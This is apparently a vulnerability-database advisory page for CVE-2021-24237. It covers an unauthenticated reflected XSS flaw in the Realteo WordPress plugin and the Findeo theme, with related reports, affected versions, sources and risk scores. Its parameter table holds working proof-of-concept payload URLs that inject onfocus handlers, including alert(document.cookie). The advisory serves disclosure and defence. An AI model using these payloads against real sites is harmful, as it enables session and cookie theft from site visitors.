CVE-2021-24237

🗓️ 22 Apr 2021 21:00:50Reported by WPScanType

cve🔗 web.nvd.nist.gov📰️ 4 Media mentions👁 62 Views🌐 WEB

Realteo WP plugin before 1.2.4 Reflective XS

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2021-24237	27 Apr 202309:58	–	circl
CNNVD	WordPress 跨站脚本漏洞	22 Apr 202100:00	–	cnnvd
Cvelist	CVE-2021-24237 Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)	22 Apr 202121:00	–	cvelist
Nuclei	WordPress Realteo <=1.2.3 - Cross-Site Scripting	6 Jun 202603:01	–	nuclei
NVD	CVE-2021-24237	22 Apr 202121:15	–	nvd
Prion	Cross site scripting	22 Apr 202121:15	–	prion
RedhatCVE	CVE-2021-24237	22 May 202521:05	–	redhatcve
wpexploit	Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)	31 Mar 202100:00	–	wpexploit
WPVulnDB	Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)	31 Mar 202100:00	–	wpvulndb

NVD

Vulners

Node

purethemes findeoRange<1.3.1wordpress

purethemes realteoRange<1.2.4wordpress

[
  {
    "product": "Realteo",
    "vendor": "PureThemes",
    "versions": [
      {
        "lessThan": "1.2.4",
        "status": "affected",
        "version": "1.2.4",
        "versionType": "custom"
      }
    ]
  },
  {
    "product": "Findeo",
    "vendor": "PureThemes",
    "versions": [
      {
        "lessThan": "1.3.1",
        "status": "affected",
        "version": "1.3.1",
        "versionType": "custom"
      }
    ]
  }
]

Source	Link
m0ze	www.m0ze.ru/vulnerability/%5B2021-03-20%5D-%5BWordPress%5D-%5BCWE-79%5D-Realteo-WordPress-Plugin-v1.2.3.txt
wpscan	www.wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
docs	www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
m0ze	www.m0ze.ru/vulnerability/%5B2021-03-20%5D-%5BWordPress%5D-%5BCWE-79%5D-Findeo-WordPress-Theme-v1.3.0.txt

Parameter	Position	Path	Description	CWE
keyword_search	query param	/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);//%22	Unauthenticated reflected Cross-Site Scripting via unsanitized keyword_search parameter	CWE-79
keyword_search	query param	/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22&search_radius=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22	Unauthenticated reflected Cross-Site Scripting via unsanitized keyword_search and search_radius parameters	CWE-79
search_radius	query param	/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22&search_radius=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22	Unauthenticated reflected Cross-Site Scripting via unsanitized keyword_search and search_radius parameters	CWE-79

21 Nov 2024 05:52Current

6.1Medium risk

Vulners AI Score6.1

CVSS 24.3

CVSS 3.16.1

EPSS0.63261

CWE-79